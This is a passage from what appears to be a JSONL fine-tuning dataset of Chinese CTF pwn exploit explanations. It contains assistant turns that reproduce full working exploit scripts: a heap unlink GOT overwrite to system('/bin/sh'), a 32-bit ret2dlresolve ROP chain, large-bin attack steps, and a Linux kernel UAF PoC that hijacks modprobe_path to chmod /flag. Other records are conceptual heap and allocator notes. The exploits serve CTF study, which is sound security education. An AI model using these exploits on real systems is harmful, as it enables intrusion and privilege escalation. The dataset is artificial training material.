0x233d61\ninfo(\"libc base: \" + hex(libc.address))\n\ndelete_chunk(0)\nadd_chunk(10, 0x500)\n\nedit_chunk(0, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))\n\ndelete_chunk(1)\n\nadd_chunk(10, 0x200)\n\ninfo(\"stderr: \" + hex(libc.sym['stderr']))\n\nedit_chunk(0, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))\nadd_chunk(10, 0x200)\n\ndelete_chunk(2)\nadd_chunk(10, 0x300)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-9e98b0a1a015c139", "original_line": 14, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/largetbin attack/exp.py", "split": "train", "split_group_key": "b59960dfd009267ad783c2c4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/largetbin attack/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d69faee95c16cf8b0789", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/unlink/2016_zctf_note2/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/unlink/2016_zctf_note2/exp_cli.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `add`\n- `delete`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x6020C8`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n#libc=ELF(\"/buu/64/libc-2.23.so\")\nlibc=ELF(\"/glibc/2.23/amd64/lib/libc.so.6\")\n\ndef add(length,name):\n\tru(\":\")\n\tsl('2')\n\tru(':')\n\tsl(str(length))\n\tru(\":\")\n\tsl(name)\n\ndef edit(idx,length,name):\n\tru(':')\n\tsl('3')\n\tru(\":\")\n\tsl(str(idx))\n\tru(\":\")\n\tsl(str(length))\n\tru(':')\n\tsl(name)\n\ndef delete(idx):\n\tru(\":\")\n\tsl(b\"4\")\n\tru(\":\")\n\tsl(str(idx))\n\ndef show():\n\tru(\":\")\n\tsl(b\"1\")\n\nadd(0x40,'aaaaaaaa')\nadd(0x80,'bbbbbbbb')\nadd(0x80,'cccccccc')\n\nptr = 0x6020C8  #存放chunk指针的数组在bss段上的地址\n#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)\n#伪造的fake_chunk为free状态\nfake_chunk = p64(0) + p64(0x41)  #fake_chunk header\nfake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake_chunk fd  bk\nfake_chunk += b'C'*0x20\n#覆盖后一个chunk的prev_size和size\n#让它的prev_size表示前一个chunk的大小，并且chunk的size改为0x90让其不会释放进入fastbins\nfake_chunk += p64(0x40) # 1的presize\nfake_chunk += p64(0x90) # 1的size\n\n#进行堆溢出\nedit(0,0x80,fake_chunk)\ngdb.attach(io)\npause()\n#释放掉chunk1，进行合并\ndelete(1)  #前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 ptr = &itemlist0_ptr -0x18\npayload = p64(0) * 2 + p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got\nedit(0,0x80,payload)\n\nshow()\n\nru(b'0 : ')\natoi = u64(r(6).ljust(8,b'\\x00'))\nlibc_base = atoi - libc.symbols['atoi']\nprint(\"libc_base\",hex(libc_base))\nsystem = libc_base + libc.sym['system']\n#将itemlist[0]即atoi函数的got表修改为system\n#通过编辑通过编辑got表指针，实现任意地址写\nedit(0,8,p64(system))\n#然后通过atoi进行getshell\nsla('Your choice:','/bin/sh\\x00')\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a04118df7ae1b09d", "original_line": 41, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/2016_zctf_note2/exp_cli.py", "split": "train", "split_group_key": "c14987e360550573db6bfd9e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/2016_zctf_note2/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d6e2160cbb224a18c02c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「内存布局」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 内存布局\n\n+ 32位程序经典内存布局：\n  - 最高地址的 1G 内存空间属于内核空间不能使用。\n  - 内核空间以下的空间属于栈，栈自顶向下增长，最大大小为 8M\n  - 栈以下便是`mmap`区域，空间向上增长，和栈相对。\n  - `heap`段自底向上增长。\n  - 剩下的空间属于可执行文件空间，即`bss`段、`data`段、`text`段\n\n\"Pasted\n\n+ 64位程序经典内存布局：\n  - 最高地址的 128TB 内存空间属于内核空间不能使用。\n  - 内核空间以下的空间属于栈，栈自顶向下增长，最大大小为 8M\n  - 栈以下便是`mmap`区域，空间向上增长，和栈相对。\n  - `heap`段自底向上增长。\n  - 剩下的空间属于可执行文件空间，即`bss`段、`data`段、`text`段\n\n[图片: 20240630112911.png]", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-fa04d012bdbc33e2", "original_line": 110, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d760bc466687c5efbc5a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x112`, `0x800`, `0x18540`, `0x774C5`, `0x8fa05`, `0x080481d8`, `0x08048278`, `0x08048330`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x08049f54`, `0x08049f5c`, `0x08049f94`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\n\nfrom pwn import *\nelf = ELF('bof')\n\noffset = 112\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\n\nppp_ret = 0x08048619 # ROPgadget --binary bof --only \"pop|ret\"\npop_ebp_ret = 0x0804861b\nleave_ret = 0x08048458 # ROPgadget --binary bof --only \"leave|ret\"\n\nstack_size = 0x800\nbss_addr = 0x0804a040 # readelf -S bof | grep \".bss\"\nbase_stage = bss_addr + stack_size\n\n#x/100xw  GOT[4]\nfake_link_map=bss_addr+0x100#elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nfake_st_value=0x774C5\nval_0x34=0x08049f54\nval_0x38=0x08049f5c\nval_0x7c=0x08049f94\nwait_time=0.1\n\nr = process('bof')\n\n\nr.recvuntil('Welcome to XDCTF2015~!\\n')\npayload = 'A' * offset\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(fake_link_map)#+0x34\npayload += p32(0x100)\n#payload += p32(read_plt)\n#payload += p32(ppp_ret)\n#payload += p32(0)\n#payload += p32(fake_link_map+0x7c)\n#payload += p32(4)\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(base_stage)\npayload += p32(100)\npayload += p32(pop_ebp_ret)\npayload += p32(base_stage)\npayload += p32(leave_ret)\n#print 'length of payload=',hex(len(payload))\n#raw_input('wait')\nr.sendline(payload)\n'''\nsleep(wait_time)\nr.send(p32(val_0x34)+p32(val_0x38))\nsleep(wait_time)\nr.send(p32(val_0x7c))\nsleep(wait_time)\n'''\npay=''\npay=pay.ljust(0x34,'\\x00')\npay+=p32(val_0x34)+p32(val_0x38)\npay=pay.ljust(0x7c,'\\x00')\npay+=p32(val_0x7c)\npay=pay.ljust(0x100,'\\x00')\nsleep(wait_time)\nr.send(pay)\n\n\ngdb.attach(r,'b *0x08048458')\ncmd = \"/bin/sh\"\nplt_0 = 0x08048380 # objdump -d -j .plt bof\nplt_1=plt_0+6\nrel_plt = 0x08048330 # objdump -s -j .rel.plt bof\nindex_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移\nwrite_got = elf.got['write']\ndynsym = 0x080481d8 #readelf -S bof\ndynstr = 0x08048278\nfake_sym_addr = base_stage + 36\nalign = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 0x10\nr_info = (index_dynsym << 8) | 0x7\nfake_reloc = p32(write_got) + p32(r_info)\nst_name = (fake_sym_addr + 16) - dynstr        # fake_sym（Elf32_Sym结构体）大小0x10\n#fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\nfake_sym = p32(st_name) + p32(fake_st_value) + p32(0) + p32(0x12)  #0x112\n\n\npayload2 = 'AAAA'\npayload2 += p32(plt_1)\npayload2 += p32(fake_link_map)\npayload2 += p32(index_offset)\npayload2 += 'AAAA'   #ret_addr 返回地址\npayload2 += p32(base_stage + 80)\n#payload2 += 'aaaa'\npayload2 += 'aaaa'\npayload2 += fake_reloc # (base_stage+28)的位置\npayload2 += 'B' * align\npayload2 += fake_sym # (base_stage+36)的位置\npayload2 += \"system\\x00\"\npayload2 += 'A' * (80 - len(payload2))\npayload2 += cmd + '\\x00'\npayload2 += 'A' * (100 - len(payload2))\nraw_input('wait!!!')\nr.sendline(payload2)\nr.interactive()\n\n#目标：0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret\n#>>> hex(elf.symbols['__libc_start_main'])\n#'0x18540'\n#fake_st_value=0x8fa05-0x18540=0x774C5\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-cbb23051d5144413", "original_line": 530, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6.py", "split": "train", "split_group_key": "c59df3b04efdd2c525627b78"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d76784d8602b800e43a1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 后续提权」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 2. 后续提权\n\n泄露内核地址会消耗一次 `add`、`delete`、`edit`，因此还剩一次 UAF 机会。\n\n最初尝试用 `pipe_buffer` 劫持 `release` 控制流，但没有找到稳定可用的栈迁移 gadget。例如：\n\n```c\npush_rsi_pop_rsp = 0xffffffff81934056; // push rsi; pop rsp; retf;\n```\n\n这里的 `retf` 会按 32 位语义弹出 `eip` 和 `cs`，不足以保存完整内核地址；而 `mov esp, esi` 一类 gadget 会清零高 32 位，同样不可用。\n\n由于题目未开启 `CONFIG_STATIC_USERMODEHELPER`，最终选择利用 UAF 劫持 `kmalloc-0x400` freelist 到 `modprobe_path` 附近，然后通过 `msg_msg` 写入修改 `modprobe_path`。\n\n需要注意：因为申请 size 较大，会清空 `modprobe_path` 附近内容，直接触发提权可能导致 kernel panic，所以需要恢复附近必要函数指针，其中 `kmod` 相关函数指针恢复是必要的。最后通过 `modprobe_path_hijack()` 修改 `/flag` 权限并读取 flag。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b98792e179f846fe", "original_line": 31, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d78a29be563aed8b95b4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「4. 泄露 PIE」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 4. 泄露 PIE\n\n调用一次 hidden backdoor：\n\n```python\ndoor = backdoor(\"\\x00\" * 0x10)\npie = door - 0x12be\n```\n\nbackdoor 会打印：\n\n```text\nmagic address: %p\n```\n\n该地址是 `win` 函数地址，即 `pie + 0x12be`。由此得到 PIE base。\n\n注意：这次调用后 `pie + 0x4010` 会从 1 变成 0，后面需要再把它改回 1，才能第二次使用 backdoor 写返回地址。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f47e877a6c4400fe", "original_line": 146, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d8730c968a2645c2639a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「堆溢出」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 堆溢出\n\n堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数），因而导致了数据溢出，并覆盖到**物理相邻的高地址**的下一个堆块。\n\n不难发现，堆溢出漏洞发生的基本前提是\n\n+ 程序向堆上写入数据。\n+ 写入的数据大小没有被良好地控制。\n\n对于攻击者来说，堆溢出漏洞轻则可以使得程序崩溃，重则可以使得攻击者控制程序执行流程。\n\n堆溢出是一种特定的缓冲区溢出（还有栈溢出， bss 段溢出等）。但是其与栈溢出所不同的是，堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据，因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说，我们利用堆溢出的策略是\n\n1. 覆盖与其**物理相邻的下一个 chunk** 的内容。\n   - `prev_size`\n   - `size`，主要有三个比特位，以及该堆块真正的大小。\n     * `NON_MAIN_ARENA`\n     * `IS_MAPPED`\n     * `PREV_INUSE`\n     * the True chunk size\n   - chunk content，从而改变程序固有的执行流。\n2. 利用堆中的机制（如 unlink 等 ）来实现任意地址写入（ Write-Anything-Anywhere）或控制堆块中的内容等效果，从而来控制程序的执行流。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-63b1827063345862", "original_line": 79, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d905fc9c56f20f173a07", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「分配策略」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 分配策略\n\n假设有如下情境：一台只含有一个处理器核心的PC机安装有32位操作系统，其上运行了一个多线程应用程序，共含有4个线程——主线程和三个用户线程。显然线程个数大于系统能维护的最大arena个数（2* 核心数 + 1= 3），那么此时glibc malloc就需要确保这4个线程能够正确地共享这3个arena，那么它是如何实现的呢？\n\n当主线程首次调用malloc的时候，glibc malloc会直接为它分配一个main arena，而不需要任何附加条件。\n\n当用户线程1和用户线程2首次调用malloc的时候，glibc malloc会分别为每个用户线程创建一个新的thread arena。此时，各个线程与arena是一一对应的。但是，当用户线程3调用malloc的时候，就出现问题了。因为此时glibc malloc能维护的arena个数已经达到上限，无法再为线程3分配新的arena了，那么就需要重复使用已经分配好的3个arena中的一个(main arena, arena 1或者arena 2)。那么该选择哪个arena进行重复利用呢？\n\n1)首先，glibc malloc循环遍历所有可用的arenas，在遍历的过程中，它会尝试lock该arena。如果成功lock(该arena当前对应的线程并未使用堆内存则表示可lock)，比如将main arena成功lock住，那么就将main arena返回给用户，即表示该arena被线程3共享使用。\n\n2)而如果没能找到可用的arena，那么就将线程3的malloc操作阻塞，直到有可用的arena为止。\n\n3)现在，如果线程3再次调用malloc的话，glibc malloc就会先尝试使用最近访问的arena(此时为main arena)。如果此时main arena可用的话，就直接使用，否则就将线程3阻塞，直到main arena再次可用为止。\n\n这样线程3与主线程就共享main arena了。至于其他更复杂的情况，以此类推。\n\n\n\n", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-333c8137c27c6f86", "original_line": 66, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-db1d3ad688b933d5096d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Group drain curve」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Group drain curve\n\nFreeing slot groups of 16 shows the allocator keeps the early groups cached, then starts discarding from group 11:\n\n```text\ngroup 00..10: num_slabs stays 33\nfree group 11: num_slabs 32\nfree group 12: num_slabs 31\n...\nfree group 31: num_slabs 12\n```\n\nPractical implication: after a full first free, stale slots from around slot `176` onward are more likely to refer to slab pages that were discarded rather than retained in the private cache partial list.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-da4a7224e13cd9ef", "original_line": 385, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-db4fa938c8791dbe7e9e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「完整利用脚本」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 完整利用脚本\n\n当前目录下 `exp.py` 已经是可运行版本。核心常量如下：\n\n```python\nLIBC_LEAK_OFFSET = 0x21AD30\nIO_OBSTACK_JUMPS = 0x2173C0\n```\n\n运行：\n\n```bash\npython3 exp.py TEST\n```\n\n测试成功：\n\n```text\n__HIT_LIST_PWNED__\nuid=0(root) gid=0(root) ...\nmemory exhausted\n```\n\n如果打远程：\n\n```bash\npython3 exp.py REMOTE HOST= PORT=\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-db47c092a2282da3", "original_line": 177, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-db71a4134ebe9f590017", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「PoC」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "_ops_buf,0x208);\n    // leak(page,0x208);\n    // strcpy(page,\"Lotus_just_Test\");\n    uc.src = (unsigned long) page;\n    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);\n    uc.len = PAGE_SIZE;\n    uc.mode = 0;\n    uc.copy = 0;\n    ioctl(uffd, UFFDIO_COPY, &uc);\n\n    puts(\"[+] edit heap->next handler down!\");\n    return NULL;\n}\n\nvoid UAF2()\n{\n    sem_wait(&edit_heap_next);\n    delete(0);\n    sem_post(&edit_down);\n}\n\nvoid modprobe_path_hijack(void){\n    puts(\"[*] Returned to userland, setting up for fake modprobe\");\n    system(\"echo '#!/bin/sh\\nchmod 777 /flag\\n' > /tmp/Lotus.sh\");\n\n    system(\"chmod +x /tmp/Lotus.sh\");\n    system(\"echo -ne '\\\\xff\\\\xff\\\\xff\\\\xff' > /tmp/fake\");\n    system(\"chmod +x /tmp/fake\");\n    // system(\"cat /proc/sys/kernel/modprobe\");\n    puts(\"[*] Run unknown file\");\n    system(\"/tmp/fake\");\n    system(\"ls -al /flag\");\n    system(\"cat /flag\");\n\n    RED puts(\"[*]Get shell!\"); CLOSE\n    sleep(5);\n}\n\n\nint main()\n{\n\n    pthread_t edit_t,edit2_t;\n\n    msg_buf = malloc(0x1000);\n    memset(msg_buf, 0, 0x1000);\n\n\n    fd = open(\"/dev/kernelpwn\",O_RDWR);\n    buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_ts\n\n    buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next\n\n\n    RegisterUserfault(buf,fault_handler_thread);\n    RegisterUserfault(buf2,fault_handler_thread2);\n\n\n    sem_init(&sem_addmsg,0,0);\n    sem_init(&sem_editmsg,0,0);\n    sem_init(&edit_heap_next,0,0);\n    sem_init(&sem_edit_msg_for_modpath,0,0);\n    sem_init(&edit_down,0,0);\n\n\n    add(\"TEST_chunk\");\n    pthread_create(&edit_t,NULL,UAF,0);\n    pthread_create(&edit2_t,NULL,UAF2,0);\n\n    edit(0,0x20,buf);\n    GREEN puts(\"[*]Write in!\"); CLOSE\n\n    for (int i = 0; i < 1; i++)\n    {\n        if (pipe(pipe_fd[i]) < 0)\n        {\n            RED puts(\"failed to create pipe!\"); CLOSE\n        }\n\n        if (write(pipe_fd[i][1], \"_Lotus_\", 8) < 0)\n        {\n            RED puts(\"failed to write the pipe!\"); CLOSE\n        }\n    }\n\n    RED puts(\"[*] pipe_buffer spraying finish.\"); CLOSE\n\n    memset(tmp_buf, 0, 0x1000);\n    if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)\n    {\n        RED puts(\"[*]Leak error!\"); CLOSE\n    }\n    // leak(tmp_buf,0xd00);\n    kernel_base = tmp_buf[0x7e8/8]-0x103ed80;\n    size_t pipe_addr =  tmp_buf[0x3e0/8]+0xc00;\n    BLUE printf(\"[*]Kernel_base: 0x%llx\\n\",kernel_base); CLOSE\n    BLUE printf(\"[*]pipe_addr: 0x%llx\\n\",pipe_addr); CLOSE\n\n    close(pipe_fd[0][0]);\n    close(pipe_fd[0][1]);\n    // size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;\n    // size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;\n    // size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;\n    size_t modprobe_path = real(0xffffffff82a6c000);\n    memset(fake_ops_buf, 0x61,0x800);\n\n    fake_ops_buf[0x200/8] = modprobe_path-0xc0;\n\n\n    add(\"Lotus_chunk\");\n\n    edit(0,0x208,buf2);\n\n\n    for (int i = 1; i < 0x3; i++)\n    {\n        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (ms_qid[i] < 0)\n        {\n            puts(\"[x] msgget!\");\n            return -1;\n        }\n    }\n\n    size_t modprobe_path_buf[0x80];\n    memset(modprobe_path_buf,0,0x400);\n    int idx=0x34;\n    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);\n    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);\n    modprobe_path_buf[idx++]=0x32;\n\n    modprobe_path_buf[0]=0xdeadbeef;\n\n    modprobe_path_buf[0x13]=0x746f4c2f706d742f;\n    modprobe_path_buf[0x14]=0x68732e7375;\n\n\n    for (int i = 1; i < 0x3; i++)\n    {\n\n        int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);\n        if (ret < 0)\n        {\n            puts(\"[x] msgsnd!\");\n            return -1;\n        }\n    }\n    RED puts(\"[*]edit modprobe_path success.\"); CLOSE\n    modprobe_path_hijack();", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2dfc570e90d29940", "original_line": 337, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": 